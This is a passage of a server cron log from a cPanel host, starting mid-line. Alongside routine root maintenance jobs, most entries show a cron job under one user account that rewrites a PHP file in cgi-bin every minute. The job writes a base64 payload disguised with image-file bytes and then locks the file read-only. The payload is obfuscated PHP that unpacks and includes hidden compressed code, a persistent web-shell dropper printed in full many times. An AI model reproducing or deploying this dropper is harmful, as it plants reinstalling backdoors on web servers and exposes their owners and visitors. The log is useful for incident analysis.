A7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:26:01 server CROND[23878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:26:01 server CROND[23879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:26:01 server CROND[23880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:27:01 server CROND[24349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:27:01 server CROND[24348]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:27:01 server CROND[24347]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 09:27:01 server CROND[24350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:28:01 server CROND[24815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:28:01 server CROND[24816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:28:01 server CROND[24817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:29:01 server CROND[25250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:29:01 server CROND[25251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:29:01 server CROND[25252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:30:01 server CROND[25630]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 09:30:01 server CROND[25631]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:30:01 server CROND[25632]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 09:30:01 server CROND[25635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:30:01 server CROND[25636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:30:01 server CROND[25646]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 09:30:01 server CROND[25644]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:30:01 server CROND[25645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:31:01 server CROND[26685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:31:01 server CROND[26686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:31:01 server CROND[26688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:32:01 server CROND[27075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:32:01 server CROND[27076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:32:01 server CROND[27077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:33:01 server CROND[27446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:33:01 server CROND[27447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:33:01 server CROND[27448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:34:01 server CROND[27915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:34:01 server CROND[27916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:34:01 server CROND[27917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:35:01 server CROND[28297]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 09:35:01 server CROND[28303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:35:01 server CROND[28314]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 09:35:01 server CROND[28313]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:35:01 server CROND[28317]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 09:35:01 server CROND[28322]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 09:35:01 server CROND[28324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:35:01 server CROND[28320]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 09:35:01 server CROND[28319]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 09:36:01 server CROND[29130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:36:01 server CROND[29131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:36:01 server CROND[29132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 09:37:01 server CROND[29501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 09:37:01 server CROND[29502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 09:37:01 server CROND[29503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
